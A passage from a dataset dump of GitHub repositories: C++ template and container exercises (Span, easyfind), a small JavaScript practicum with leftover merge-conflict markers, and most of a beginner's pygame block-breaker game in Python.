const { return (std::stack::c.rbegin()); }\n reverse_iterator rend() { return (std::stack::c.rend()); }\n const_reverse_iterator rend() const { return (std::stack::c.rend()); } \n};\n\n# endif/ex01/Span.hpp\n#ifndef SPAN_HPP\n# define SPAN_HPP\n\n# include \n# include \n# include \n# include \n\nclass Span;\n\nclass Span\n{\n private:\n Span();\n unsigned int _length;\n std::vector _numbers;\n public:\n Span(unsigned int n);\n Span(const Span& copy);\n virtual ~Span();\n\n //exceptions\n class ShortSpanException: public std::exception {\n virtual const char* what() const throw();\n };\n class LongSpanException: public std::exception {\n virtual const char* what() const throw();\n };\n class VectorIsFull: public std::exception {\n virtual const char* what() const throw();\n };\n\n Span &operator=(Span const &op);\n void addNumber(int n);\n template < class Iterator >\n void addNumber(Iterator begin, Iterator end)\n {\n if (this->_numbers.size() + std::distance(begin, end) > this->_length)\n throw(VectorIsFull());\n else\n std::copy(begin, end, std::back_inserter(this->_numbers));\n std::sort(this->_numbers.begin(), this->_numbers.end());\n }\n size_t shortestSpan();\n long longestSpan();\n};\n\n#endif/README.md\n# CPP08\nTemplated containers, iterators, algorithms\n/ex00/main.cpp\n#include \n#include \n#include \n#include \n#include \n#include \n#include \"easyfind.hpp\"\n\n\nint main(void)\n{\n //vector\n std::vector vect(10); \n int value = 2; \n std::fill(vect.begin(), vect.end(), value);\n std::vector::iterator found = easyfind(vect, 2);\n if (found == vect.end())\n std::cout << \"[+]Vector[+] Eror 404 Dont found\" << std::endl;\n else\n std::cout << \"[+]Vector[+] Yeah \" << *found << \" is inside me in \" << found - vect.begin() << std::endl;\n if (easyfind(vect, 666) == vect.end())\n std::cout << \"[+]Vector[+] Eror 404 Dont found\" << std::endl;\n\n //map\n std::map map; \n map.insert(std::pair( 2, 30 )); \n map.insert(std::pair( 1, 42 )); \n map.insert(std::pair( 3, 42 )); \n std::map::iterator foundMap = easyfind(map, 42);\n if (foundMap == map.end())\n std::cout << \"[+]Map[+] Eror 404 Dont found\" << std::endl;\n else\n std::cout << \"[+]Map[+] Yeah \" << foundMap->second << \" is inside me in \" << foundMap->first << std::endl;\n if (easyfind(map, 666) == map.end())\n std::cout << \"[+]Map[+] Eror 404 Dont found\" << std::endl;\n\t\n //multimap\n std::multimap multimap; \n multimap.insert(std::pair( 2, 30 )); \n multimap.insert(std::pair( 33, 9 )); \n std::multimap::iterator foundMP = easyfind(multimap, 9);\n if (foundMP == multimap.end())\n std::cout << \"[+]MultiMap[+] Eror 404 Dont found\" << std::endl;\n else\n std::cout << \"[+]MultiMap[+] Yeah \" << foundMP->second <<\" is inside me in \" << foundMP->first << std::endl;\n if (easyfind(multimap, 666) == multimap.end())\n std::cout << \"[+]MultiMap[+] Eror 404 Dont found\" << std::endl;\n\n\treturn (0);\n}/ex01/main.cpp\n# include \"Span.hpp\"\n#include \n#include \n#include \n/*\nint main()\n{\n Span sp = Span(5);\n sp.addNumber(5);\n sp.addNumber(3);\n sp.addNumber(17);\n sp.addNumber(9);\n sp.addNumber(11);\n try{\n sp.addNumber(424);\n }\n\tcatch(std::exception const &e)\n\t{\n\t\tstd::cerr << \"[+] \" << e.what() << std::endl;\n\t}\n\t//corr\n std::cout << sp.shortestSpan() << std::endl;\n std::cout << sp.longestSpan() << std::endl;\n}*/\n\nint main()\n{\n // FULL SPAN\n Span sp_full = Span(2);\n\n sp_full.addNumber(5);\n sp_full.addNumber(8);\n std::cerr << \"[+] ADD when is full [+]\" << std::endl;\n try\n {\n sp_full.addNumber(9); \n }\n catch(const std::exception& e)\n {\n std::cerr << \"Error : \" << e.what() << std::endl;\n }\n \n Span sp_short = Span(5);\n sp_short.addNumber(5);\n sp_short.addNumber(90);\n sp_short.addNumber(17);\n sp_short.addNumber(-8925);\n sp_short.addNumber(11);\n\tstd::cerr << \"[+] Shortest diference [+]\" << std::endl;\n std::cout << sp_short.shortestSpan() << std::endl;\n\n Span sp_short_hard = Span(2);\n sp_short_hard.addNumber(2147483647);\n sp_short_hard.addNumber(-2147483648);\n\tstd::cerr << \"[+] Shortest biggest posible [+]\" << std::endl;\n std::cout << sp_short_hard.shortestSpan() << std::endl;\n\n Span sp_empty = Span(80);\n std::cerr << \"[+] Empty exception 0 numbers[+]\" << std::endl;\n try\n {\n std::cout << sp_empty.shortestSpan() << std::endl;\n }\n catch(const std::exception& e)\n {\n std::cerr << \"Error : \" << e.what() << std::endl;\n }\n\n sp_empty.addNumber(5);\n\tstd::cerr << \"[+] Empty exception with one Number [+]\" << std::endl;\n try\n {\n std::cout << sp_empty.shortestSpan() << std::endl;\n }\n catch(const std::exception& e)\n {\n std::cerr << \"Error : \" << e.what() << std::endl;\n }\n\n Span sp_long = Span(4);\n sp_long.addNumber(8);\n sp_long.addNumber(-3);\n sp_long.addNumber(80);\n sp_long.addNumber(-8);\n\tstd::cerr << \"[+] Long Span [+]\" << std::endl;\n try\n {\n std::cout << sp_long.longestSpan() << std::endl;\n }\n catch(const std::exception& e)\n {\n std::cerr << \"Error : \" << e.what() << std::endl;\n }\n\n Span sp_long_hard = Span(4);\n sp_long_hard.addNumber(2147483647);\n sp_long_hard.addNumber(-2147483648);\n\tstd::cerr << \"[+] Long Span Long numbers [+]\" << std::endl;\n try\n {\n std::cout << sp_long_hard.longestSpan() << std::endl;\n }\n catch(const std::exception& e)\n {\n std::cerr << \"Error : \" << e.what() << std::endl;\n }\n\tstd::cerr << \"[+] empty Error Long [+]\" << std::endl;\n try\n {\n std::cout << sp_empty.longestSpan() << std::endl;\n }\n catch(const std::exception& e)\n {\n std::cerr << \"Error : \" << e.what() << std::endl;\n }\n\tstd::cerr << \"[+] 10mil numbers plus [+]\" << std::endl;\n Span sp_long_long = Span(100000);\n std::vector range(100000, 10);\n range[6666] = 40;\n sp_long_long.addNumber(range.begin(), range.end());\n\n try\n {\n std::cout << sp_long_long.longestSpan() << std::endl;\n }\n catch(const std::exception& e)\n {\n std::cerr << \"Error : \" << e.what() << std::endl;\n }\n\n try\n {\n std::cout << sp_long_long.shortestSpan() << std::endl;\n }\n catch(const std::exception& e)\n {\n std::cerr << \"Error : \" << e.what() << std::endl;\n }\n\n\treturn (0);\n}/ex00/easyfind.hpp\n#ifndef EASYFIND_HPP\n# define EASYFIND_HPP\n\n# include \n# include \n# include \n// easy find T \ntemplate\ntypename T::iterator easyfind(T &ints, int n)\n{\n\treturn (std::find(ints.begin(), ints.end(), n));\n}\n\n//overload \ntemplate\ntypename std::map::iterator easyfind(std::map &ints, int n)\n{\n\ttypename std::map::iterator it = ints.begin();\n\tfor (; it != ints.end(); ++it)\n\t\tif (it->second == n)\n\t\t\treturn (it);\n\treturn (ints.end());\n}\n\ntemplate\ntypename std::multimap::iterator easyfind(std::multimap &ints, int n)\n{\n\ttypename std::multimap::iterator it = ints.begin();\n\tfor (; it != ints.end(); ++it)\n\t\tif (it->second == n)\n\t\t\treturn (it);\n\treturn (ints.end());\n}\n\n#endif"},"directory_id":{"kind":"string","value":"7f0002e268ee4d7885a8928fd3307bb9db652268"},"languages":{"kind":"list like","value":["Markdown","C++"],"string":"[\n \"Markdown\",\n \"C++\"\n]"},"num_files":{"kind":"number","value":7,"string":"7"},"repo_language":{"kind":"string","value":"C++"},"repo_name":{"kind":"string","value":"InigoRomero/CPP08"},"revision_id":{"kind":"string","value":"e814a230187613305f6e0ec5bc43de118dbe663b"},"snapshot_id":{"kind":"string","value":"311451b5761c99ace53c213a16a600cac08fba18"}}},{"rowIdx":120,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"//ZachDickinson\n// This code will sum an array of ints by using reduce\nvar list = [2, 4, 6, 8];\n\nconsole.log(list.reduce(function(prevVal, currentVal) {\n\treturn prevVal += currentVal;\n}));\n\n // ZachDickinson\n\t// this code will match regexps that are 4 or 6 chars in length\nvar brown = [\"bark\", \"meow\", \"gobble\", \"mooooooooo\"];\nvar brow = new RegExp(\"^[0-9]{4}([0-9]{6})?$\")\nvar toop = [];\nfor ( var i = 0; i < brown.length; i++) {\n\tif ( brow.test(brown[i])= true ) {\n\ttoop.push(brown[i]);\n}\n}\nconsole.log(toop);\n<<<<<<< HEAD\n# test2ZWD\nMy practicum codes from test2\n=======\n# practicum\nCMP237 Practicum problems for Exam No. 2\n>>>>>>> c339f84fe623067de2db7d29e729b9f2f7b686e5\n"},"directory_id":{"kind":"string","value":"3957f01d8fcfcecd74af043bca02ec562ef5ebf6"},"languages":{"kind":"list like","value":["JavaScript","Markdown"],"string":"[\n \"JavaScript\",\n \"Markdown\"\n]"},"num_files":{"kind":"number","value":3,"string":"3"},"repo_language":{"kind":"string","value":"JavaScript"},"repo_name":{"kind":"string","value":"Zdw414/test2ZWD"},"revision_id":{"kind":"string","value":"83d9e817cdc5cfcdec243b6500e41bdfdd6499b8"},"snapshot_id":{"kind":"string","value":"302fe375b9ec075a9cb7d69dc858f9e8c0f7519a"}}},{"rowIdx":121,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"# BLOCK BREAKER WITH CLASS\r\n''' A very simple version of the block breaker game, with 2 blocks\r\n that the user must destroy by bouncing the ball on them using a controlled bar\r\n at the bottom'''\r\n\r\nimport pygame, sys\r\nfrom pygame.locals import *\r\nimport random as rm\r\n\r\n# This is the level number that our class will read in and generate\r\nlevel = 3\r\n\r\n\r\n# I want to define a class to put everything associated with our blocks to be broken\r\nclass Block_objects(object):\r\n \r\n \r\n # These are some initial values that are used throughout the class \r\n block_length = 75 \r\n block_width = 40\r\n block = []\r\n block_colour = []\r\n sub_block = []\r\n blockx = []\r\n blocky = []\r\n\r\n\r\n\r\n \r\n # my init function. I only want to read in the level number for now\r\n def __init__(self, level):\r\n self.level = level\r\n \r\n\r\n \r\n # This will generate two arrays: one for the x-positions of the blocks and the other for the y-position\r\n # Note the positions will depend on the level number\r\n def block_positions(self):\r\n \r\n if self.level == 1: # if in level 1, just have a single row of 8 blocks side by side\r\n \r\n for i in range(0, int(screen_pixel_width/self.block_length)): \r\n self.blockx.append((self.block_length)*i) # blocks nestled next to one another\r\n self.blocky.append(self.block_width*1.5)\r\n\r\n\r\n elif self.level == 2: # in in level 2, just have a single row of 4 blocks equally spaced\r\n \r\n for i in range(0, int(screen_pixel_width/(2*self.block_length))): \r\n self.blockx.append(self.block_length/2 + 2*self.block_length*i)\r\n self.blocky.append(self.block_width*1.5) \r\n \r\n elif self.level == 3: # two rows of 4 blocks\r\n \r\n for i in range (0, int(screen_pixel_width/(2*self.block_length))):\r\n self.blockx.append(self.block_length/2 + 2*self.block_length*i)\r\n self.blocky.append(self.block_width*1)\r\n self.blockx.append(self.block_length/2 + 2*self.block_length*i)\r\n self.blocky.append(self.block_width*2)\r\n #self.cat = pygame.image.load('surprise.png')\r\n #DISPLAYSURF.blit(self.cat, (100,100))\r\n \r\n elif self.level == 4: # three rows of 4 blocks\r\n \r\n for i in range(0, int(screen_pixel_width/(2*self.block_length))): \r\n self.blockx.append(self.block_length/2 + 2*self.block_length*i)\r\n self.blocky.append(self.block_width/4)\r\n self.blockx.append(2*self.block_length*i)\r\n self.blocky.append(self.block_width/4 + self.block_width*1.2)\r\n self.blockx.append(self.block_length/2 + 2*self.block_length*i)\r\n self.blocky.append(self.block_width/4 + 2*self.block_width*1.2)\r\n\r\n \r\n \r\n\r\n \r\n \r\n # Now that we have chosen the positions of our blocks, let's actually create them using this function, create_blocks\r\n # Note this depends on the previous function, which itself depends on the level number\r\n def create_blocks(self, block_positions):\r\n \r\n # So our number of blocks, block_count is the same as the number of array elements in blockx (or blocky).\r\n # This is just to make it a bit clearere when we remove blocks throughout the game\r\n self.block_count = len(self.blockx) \r\n \r\n \r\n # Now I want our blocks to be created and appended to another list, called block.\r\n # My blocks actually consist of a smaller one inside another (both different colours) to give the illusion of borders to our blocks\r\n for i in range (0, len(self.blockx)):\r\n \r\n \r\n # larger blocks\r\n self.block.append(pygame.Surface([self.block_length, self.block_width])) # need to use pygame.Surface to blit\r\n self.block[i].fill(block_border_colour)\r\n \r\n\r\n # smaller blocks inside larger blocks\r\n self.sub_block.append(pygame.Surface([self.block_length-2, self.block_width-2]))\r\n self.sub_block[i].fill(RED)\r\n \r\n # Let's append the names of the colours of the sub-blocks to another array, block_colour. This will make it easier to change the colour\r\n # of the sub-blocks when they are hit by the ball\r\n self.block_colour.append('red')\r\n \r\n\r\n \r\n \r\n \r\n # If the ball collides with a block, I want the ball to bounce off it. Then, I want the block to change colour to yellow, then to green and then\r\n # for it to be removed (actually I am placing the block outside the observable screen and giving it zero size.\r\n # Then the block_count will be made 1 smaller. If block_count reaches zero, then user has completed the game\r\n \r\n # I need to do this first for if the ball hits the left or right sides of a block. You see, when it does this, I want the\r\n # x velocity to reverse direction. I then want this value retured.\r\n # If I have both the x and y velocity returned, calling these two returned numbers in the same function becomes problematic:\r\n # I esentially got two colour changes in a row because I called the block_colour_change funtion twice.\r\n # Thus, I am doing 1 function for x colour change, and another for y colour change\r\n \r\n def block_colour_change_x(self, create_blocks, ball_x_velocity, ballx, bally):\r\n \r\n\r\n for i in range(0, len(self.blockx)):\r\n \r\n \r\n # if ball travelling right and hits left edge \r\n if ball_x_velocity >= 0 and \\\r\n ballx + 2*ball_radius >= self.blockx[i] and \\\r\n ballx +2*ball_radius <= self.blockx[i] + ball_x_velocity and \\\r\n bally + 2*ball_radius >= self.blocky[i] and \\\r\n bally <= self.blocky[i] + self.block_width:\r\n \r\n ball_x_velocity *= -1\r\n ballx += ball_x_velocity\r\n bally += ball_y_velocity\r\n print (\"ball x velocity after bounce: \", ball_x_velocity)\r\n colour_change = 'initiate'\r\n\r\n # if ball travelling left and hits right edge\r\n elif ball_x_velocity < 0 and \\\r\n ballx >= self.blockx[i] + self.block_length + ball_x_velocity and \\\r\n ballx <= self.blockx[i] + self.block_length and \\\r\n bally + 2*ball_radius >= self.blocky[i] and \\\r\n bally <= self.blocky[i] + self.block_width:\r\n \r\n ball_x_velocity *= -1\r\n ballx += ball_x_velocity\r\n bally += ball_y_velocity\r\n print (\"ball x velocity after bounce: \", ball_x_velocity)\r\n colour_change = 'initiate'\r\n \r\n \r\n # if no hit, then we won't have a colour change\r\n else:\r\n colour_change = 'deactivate'\r\n \r\n \r\n # now, if there was a hit, (i.e. colour_change is set to 'initiate', then I went the block to actually change colour)\r\n if colour_change == 'initiate':\r\n \r\n colour_change = 'deactivate' # once in if statement, immediately deactivate colour change to ensure 1 colour change at a time\r\n \r\n \r\n # if block colour is red and is hit, then first turn yellow\r\n if self.block_colour[i] == 'red':\r\n self.sub_block[i].fill(YELLOW)\r\n self.block_colour[i] = 'yellow'\r\n print ('block colour: ', self.block_colour[i])\r\n \r\n elif self.block_colour[i] == 'yellow':\r\n self.sub_block[i].fill(GREEN)\r\n self.block_colour[i] = 'green'\r\n print ('block colour: ', self.block_colour[i])\r\n \r\n\r\n \r\n # if block colour is green (i.e. already having being hit twice), and is hit again, then 'remove' block from window\r\n elif self.block_colour[i] == 'green':\r\n \r\n \r\n # this puts the block position outside the observable window\r\n self.blockx[i] = -100\r\n self.blocky[i] = -100\r\n \r\n # shrink block and sub-block to zero size\r\n self.block[i] = pygame.Surface([0,0])\r\n self.sub_block[i] = pygame.Surface([0,0])\r\n \r\n # take 1 from block_count number \r\n self.block_count -= 1\r\n print (\"Blocks remaining: \", self.block_count) # just for de-bugging - shows the number of remaining blocks now\r\n \r\n \r\n # give our new reversed x velocity which we shall use later\r\n return ball_x_velocity\r\n \r\n \r\n\r\n\r\n \r\n # Same for y \r\n \r\n def block_colour_change_y(self, create_blocks, ball_y_velocity, ballx, bally): \r\n\r\n for i in range(0, len(self.blockx)): \r\n \r\n # if travelling down and ball hits top of a block \r\n if ball_y_velocity >= 0 and \\\r\n bally + 2*ball_radius >= self.blocky[i] and \\\r\n bally + 2*ball_radius <= self.blocky[i] + ball_y_velocity and \\\r\n ballx + 2*ball_radius >= self.blockx[i] and \\\r\n ballx <= self.blockx[i] + self.block_length:\r\n \t\r\n ball_y_velocity *= -1\r\n ballx += ball_x_velocity\r\n bally += ball_y_velocity\r\n print (\"ball y velocity after bounce: \", ball_y_velocity)\r\n colour_change = 'initiate'\r\n \r\n # if ball travelling up and hits bottom of a block\r\n elif ball_y_velocity < 0 and \\\r\n bally >= self.blocky[i] + self.block_width + ball_y_velocity and \\\r\n bally <= self.blocky[i] + self.block_width and \\\r\n ballx + 2*ball_radius >= self.blockx[i] and \\\r\n ballx <= self.blockx[i] + self.block_length:\r\n \r\n ball_y_velocity *= -1\r\n ballx += ball_x_velocity\r\n bally += ball_y_velocity\r\n print (\"ball y velocity after bounce: \", ball_y_velocity)\r\n colour_change = 'initiate'\r\n \r\n \r\n else:\r\n colour_change = 'deactivate'\r\n \r\n \r\n if colour_change == 'initiate':\r\n \r\n colour_change = 'deactivate'\r\n \r\n \r\n # if block colour is red and is hit, then first turn yellow\r\n if self.block_colour[i] == 'red':\r\n self.sub_block[i].fill(YELLOW)\r\n self.block_colour[i] = 'yellow'\r\n print ('block colour: ', self.block_colour[i])\r\n \r\n elif self.block_colour[i] == 'yellow':\r\n self.sub_block[i].fill(GREEN)\r\n self.block_colour[i] = 'green'\r\n print ('block colour: ', self.block_colour[i])\r\n \r\n\r\n \r\n # if block colour is green (i.e. already having being hit twice), and is hit again, then 'remove' block from window\r\n elif self.block_colour[i] == 'green':\r\n \r\n \r\n # this puts the block position outside the observable window\r\n self.blockx[i] = -100\r\n self.blocky[i] = -100\r\n \r\n # shrink block and sub-block to zero size\r\n self.block[i] = pygame.Surface([0,0])\r\n self.sub_block[i] = pygame.Surface([0,0])\r\n \r\n # take 1 from block_count number \r\n self.block_count -= 1\r\n print (\"Blocks remaining: \", self.block_count) # just for de-bugging - shows the number of remaining blocks now\r\n \r\n \r\n # now return new reversed y velocity\r\n return ball_y_velocity\r\n \r\n\r\n \r\n \r\n \r\n # This function I am deliberating about keeping in this class. It's purpose is if the block_count reaches zero, then to throw a \r\n # success message and then end the game\r\n # It takes in the block_colour_change function (to pass the block_count to it)\r\n def get_completed_status(self, block_colour_change_x, block_colour_change_y):\r\n \r\n if self.block_count == 0:\r\n self.textSurfaceObj = fontObj.render('WELL DONE!', True, WHITE) # our success message\r\n print (\"Level complete!\")\r\n \r\n \r\n # The following just display the success message, the ball, bar and blocks to the screen when we complete the game \r\n \r\n DISPLAYSURF.blit(self.textSurfaceObj, textRectObj) # copy message to DISPLAYSURF, our screen\r\n DISPLAYSURF.blit(bar, (barx, bary)) # copies bar to DISPLAYSURF\r\n DISPLAYSURF.blit(ball, (ballx, bally)) # copies ball to DISPLAYSURF\r\n DISPLAYSURF.blit(textSurfaceObj2, textRectObj2) # copies quit instruction to DISPLAYSURF\r\n for i in range (0, len(level_number.blockx)):\r\n DISPLAYSURF.blit(self.block[i], (self.blockx[i], self.blocky[i])) # copies blocks to DISPLAYSURF\r\n DISPLAYSURF.blit(self.sub_block[i], (self.blockx[i]+1, self.blocky[i]+1)) # copies sub-blocks to DISPLAYSURF\r\n pygame.display.update() # show on screen\r\n pygame.time.wait(2000) # pause this many milliseconds\r\n pygame.quit() # quit game\r\n sys.exit()\r\n \r\n \r\n \r\n \r\n# random number function to give number between two values\r\ndef my_random_number(lower, upper):\r\n r = round(rm.random() * (upper-lower) + lower, 3)\r\n return r\r\n \r\n\r\n# If the user doesn't pass level, then give a fail message.\r\n# Might integrate into above class function get_completed_state\r\ndef level_fail():\r\n\r\n textSurfaceObj = fontObj.render('FAIL!', True, WHITE) # our fail message\r\n print ('Level failed!')\r\n \r\n DISPLAYSURF.blit(textSurfaceObj, textRectObj) # copy message to DISPLAYSURF\r\n DISPLAYSURF.blit(bar, (barx, bary)) # copies bar to DISPLAYSURF\r\n DISPLAYSURF.blit(ball, (ballx, bally)) # copies ball to DISPLAYSURF\r\n DISPLAYSURF.blit(textSurfaceObj2, textRectObj2) # copies quit instruction to DISPLAYSURF\r\n for i in range (0, len(level_number.blockx)):\r\n DISPLAYSURF.blit(level_number.block[i], (level_number.blockx[i], level_number.blocky[i])) # copies blocks to DISPLAYSURF\r\n DISPLAYSURF.blit(level_number.sub_block[i], (level_number.blockx[i]+1, level_number.blocky[i]+1)) # copies sub-blocks to DISPLAYSURF\r\n pygame.display.update() # show on screen\r\n pygame.time.wait(1000) # pause this many milliseconds\r\n pygame.quit() # quit game\r\n sys.exit()\r\n\r\n\r\n\r\n\r\n\r\n\r\n'''Right, now we have declared our class and functions, let's set up the game'''\r\n\r\n# initiate game\r\npygame.init()\r\n\r\n\r\nFPS = 30 # frames per second\r\nfpsClock = pygame.time.Clock()\r\n\r\n\r\n# set up the user window\r\nscreen_pixel_width = 600\r\nscreen_pixel_height = 400\r\nDISPLAYSURF = pygame.display.set_mode((screen_pixel_width, screen_pixel_height)) # size of screen\r\npygame.display.set_caption('Block Breaker') # heading on screen\r\n\r\n\r\n# set up the colours for our game\r\nBLACK = (0, 0, 0)\r\nWHITE = (255, 255, 255)\r\nRED = (175, 0, 0)\r\nGREEN = (0, 155, 0)\r\nBLUE = (0, 0, 255)\r\nLIGHT_BLUE = (100, 200, 200)\r\nYELLOW = (255, 255, 0)\r\nAWESOME_COLOUR = GREEN\r\nTRANSPARENT_COLOUR = (0, 0, 0, 0)\r\n\r\nbackground_colour = BLACK # needed as want screen and box surrounding ball to be the same colour\r\nblock_border_colour = WHITE\r\n\r\n# I want my background to be a nice picture, which I took off the internet\r\n#background = pygame.image.load('bckrd.jpg')\r\n\r\n\r\n# welcome message\r\nfontObj = pygame.font.SysFont(\"arial\", 50)\r\ntextSurfaceObj1 = fontObj.render('BLOCK BREAKER', True, WHITE)\r\ntextSurfaceObj = fontObj.render('Press left arrow key to start.', True, WHITE)\r\ntextRectObj1 = textSurfaceObj1.get_rect()\r\ntextRectObj = textSurfaceObj.get_rect()\r\ntextRectObj1.center = (215, 250)\r\ntextRectObj.center = (300, 300)\r\n\r\n# How to quit game\r\nfontObj2 = pygame.font.SysFont(\"arial\", 15)\r\ntextSurfaceObj2 = fontObj2.render('q = quit game', True, WHITE)\r\ntextRectObj2 = textSurfaceObj1.get_rect()\r\ntextRectObj2.center = (screen_pixel_width+80, 30)\r\n\r\n############################################\r\n# NOW SET UP OUR OTHER OBJECTS IN THE GAME #\r\n############################################\r\n\r\n# Maybe these could be classes later on as well\r\n\r\n# User-moved bar at the bottom\r\nbar_length = 100\r\nbar_width = 15\r\nbarx = screen_pixel_width - bar_length - 50\r\nbary = screen_pixel_height - bar_width - 35\r\nbar = pygame.Surface([bar_length, bar_width])\r\nbar.fill(AWESOME_COLOUR)\r\n\r\n# Moving ball\r\nball_radius = 15\r\nballx = screen_pixel_width - 2*ball_radius - my_random_number(0, screen_pixel_width-2*ball_radius)\r\nbally = ball_radius + my_random_number(110, 110)\r\nball_x_velocity = my_random_number(5,8)\r\nball_y_velocity = my_random_number(5,8)\r\nball = pygame.Surface([ball_radius*2, ball_radius*2])\r\nball.fill(TRANSPARENT_COLOUR) # ensures box surrounding circle is background colour\r\nball.set_colorkey(TRANSPARENT_COLOUR)\r\npygame.draw.circle(ball, GREEN, (ball_radius, ball_radius), ball_radius)\r\n\r\n# Our blocks, which we are now calling\r\nlevel_number = Block_objects(level)\r\nlevel_number.block_positions()\r\nlevel_number.create_blocks(level_number.block_positions)\r\n\r\n\r\n\r\n\r\n\r\n##################\r\n# MAIN GAME LOOP #\r\n##################\r\n\r\n# some initial states of our variables\r\nbeginning = 'yes'\r\ncolour_change = 'deactivate'\r\n\r\n\r\nwhile True:\r\n \r\n #DISPLAYSURF.blit(background, (0,0))\r\n DISPLAYSURF.fill(background_colour)\r\n\r\n \r\n #if level == 3:\r\n #DISPLAYSURF.blit(level_number.cat, (50,50))\r\n \r\n \r\n # I want the use to have to press the left key to start the game. This will tell the user to do so.\r\n if beginning == 'yes':\r\n DISPLAYSURF.blit(textSurfaceObj1, textRectObj1) \r\n DISPLAYSURF.blit(textSurfaceObj, textRectObj)\r\n DISPLAYSURF.blit(textSurfaceObj2, textRectObj2)\r\n for event in pygame.event.get():\r\n \r\n # if user presses a key:\r\n if event.type == pygame.KEYDOWN:\r\n\r\n # if user presses left key, move bar left only if it won't go outside the screen\r\n if event.key == pygame.K_LEFT:\r\n beginning = 'no'\r\n \r\n # if user presses q key, then quit game\r\n elif event.key == pygame.K_q:\r\n pygame.quit()\r\n sys.exit()\r\n \r\n elif beginning == 'no':\r\n # make ball move in time \r\n ballx += ball_x_velocity\r\n bally += ball_y_velocity\r\n \r\n \r\n\r\n \r\n \r\n \r\n # get numbers from block_colour_change functions in our class and set to variables \r\n ball_y_velocity_from_class = level_number.block_colour_change_y(level_number.create_blocks, ball_y_velocity, ballx, bally)\r\n ball_x_velocity_from_class = level_number.block_colour_change_x(level_number.create_blocks, ball_x_velocity, ballx, bally)\r\n\r\n \r\n \r\n \r\n if ball_y_velocity == - ball_y_velocity_from_class and abs(ball_y_velocity) > 0: # if y vecloity from class is minus that of ball_y_velocity, then we have hit a block\r\n ball_y_velocity = ball_y_velocity_from_class # so rename ball_y_velocity with this new negative velovity\r\n bally += ball_y_velocity # and update\r\n level_number.get_completed_status(level_number.block_colour_change_x, level_number.block_colour_change_y)\r\n \r\n elif ball_x_velocity == - ball_x_velocity_from_class and abs(ball_x_velocity) > 0: # if x vecloity from class is minus that of ball_x_velocity, then we have hit a block\r\n ball_x_velocity = ball_x_velocity_from_class # so rename ball_x_velocity with this new negative velovity\r\n ballx += ball_x_velocity # and update\r\n level_number.get_completed_status(level_number.block_colour_change_x, level_number.block_colour_change_y)\r\n\r\n\r\n \r\n \r\n \r\n # if ball hits left or right sides, then reverse x velocity\r\n # NOTE shape co-ordinates (e.g. ballx, bally) are always for top-left corner\r\n if ballx + 2*ball_radius >= screen_pixel_width or ballx < 0:\r\n ball_x_velocity *= -1\r\n ballx += ball_x_velocity\r\n \r\n # if ball hits top of screen, reverse its y velocity \r\n if bally < 0:\r\n ball_y_velocity *= -1\r\n bally += ball_y_velocity\r\n \r\n \r\n \r\n \r\n # if top of ball hits bar below the top of the bar, reverse x velocity (solves bug)\r\n if ball_x_velocity > 0 and bally >= bary and ballx + 2*ball_radius + abs(ball_x_velocity) >= barx and ballx - abs(ball_x_velocity) <= barx + bar_length:\r\n #ballx = barx - 2*ball_radius - 2 \r\n ball_x_velocity *= -1\r\n ball_y_velocity = 5\r\n \r\n elif ball_x_velocity < 0 and bally >= bary and ballx + 2*ball_radius + abs(ball_x_velocity) >= barx and ballx - abs(ball_x_velocity) <= barx + bar_length:\r\n #ballx = barx + bar_length + 2 \r\n ball_x_velocity *= -1\r\n ball_y_velocity = 5\r\n \r\n # if ball hits bar, then reverse its y velocity and change its x-velocity depending where it hits on the bar\r\n \r\n elif ballx + 2*ball_radius > barx and ballx < barx + bar_length and bally + 2*ball_radius >= bary:\r\n ball_y_velocity *= -1\r\n bally += ball_y_velocity\r\n \r\n #x_velocity_change = [0.1*i**2 for i in range(int(-bar_length/2), int(1+bar_length/2))]\r\n #print (x_velocity_change)\r\n \r\n # if going right and ball is within 1/6 of bar length, then reverse x velocity\r\n if ballx + ball_radius <= barx + bar_length/6 and ball_x_velocity > 0:\r\n if ball_x_velocity < 8: # if x velocity magnitude small, then increase its magnitude and reverse its direction\r\n ball_x_velocity = -ball_x_velocity*1.5\r\n else:\r\n ball_x_velocity *= -1 # if x velocity magnitude large, then just reverse its direction\r\n\r\n # if going left and ball is more than 1/6 of bar length along, then reverse x velocity\r\n elif ballx + ball_radius >= barx + 5*bar_length/6 and ball_x_velocity < 0:\r\n if ball_x_velocity > -8:\r\n ball_x_velocity = -ball_x_velocity*1.5\r\n else:\r\n ball_x_velocity *= -1\r\n\r\n \r\n \r\n # if going right and ball is between 1/6 and 2.5/6 of bar length, then half reverse x velocity\r\n elif ballx + ball_radius > barx + bar_length/6 and ballx + ball_radius < barx + 2.5*bar_length/6 and ball_x_velocity > 0:\r\n ball_x_velocity = -0.5*ball_x_velocity\r\n \r\n # if going left and ball is between 3.5/6 and 5/6 of bar length, then half reverse x velocity\r\n elif ballx + ball_radius > barx + 3.5*bar_length/6 and ballx + ball_radius < barx + 5*bar_length/6 and ball_x_velocity < 0:\r\n ball_x_velocity = -0.5*ball_x_velocity\r\n \r\n \r\n \r\n # if in middle 1/6, then bounce ball straigtht back up\r\n elif ballx + ball_radius >= barx + 2.5*bar_length/6 and ballx + ball_radius <= barx + 3.5*bar_length/6 and abs(ball_x_velocity) > 0:\r\n ball_x_velocity = 0\r\n \r\n \r\n # these ensure that if it bounces straight up, then on the next bounce it can angle off again \r\n elif abs(ball_x_velocity) < 2: \r\n \r\n if ballx + ball_radius <= barx + bar_length/6:\r\n ball_x_velocity = -6\r\n \r\n elif ballx + ball_radius >= barx + 5*bar_length/6:\r\n ball_x_velocity = 6\r\n \r\n elif ballx + ball_radius > barx + bar_length/6 and ballx + ball_radius < barx + 2.5*bar_length/6:\r\n ball_x_velocity = -3\r\n \r\n elif ballx + ball_radius > barx + 3.5*bar_length/6 and ballx + ball_radius < barx + 5*bar_length/6:\r\n ball_x_velocity = 3\r\n \r\n \r\n # if ball sinks below bar, end game \r\n if bally >= bary + bar_width:\r\n level_fail()\r\n \r\n\r\n \r\n # Now let's look for events the user does in the game (e.g. key presses) \r\n for event in pygame.event.get():\r\n \r\n # if user presses a key:\r\n if event.type == pygame.KEYDOWN:\r\n\r\n # if user presses left key, move bar left only if it won't go outside the screen\r\n if event.key == pygame.K_LEFT and barx - bar_length/2 >= 0: # remember barx refers to LHS of bar, not centre\r\n barx -= 50\r\n \r\n # if user presses right key, move bar right only if it won't go outside the screen \r\n if event.key == pygame.K_RIGHT and barx + bar_length < screen_pixel_width:\r\n barx += 50\r\n \r\n # if user presses up key, increase 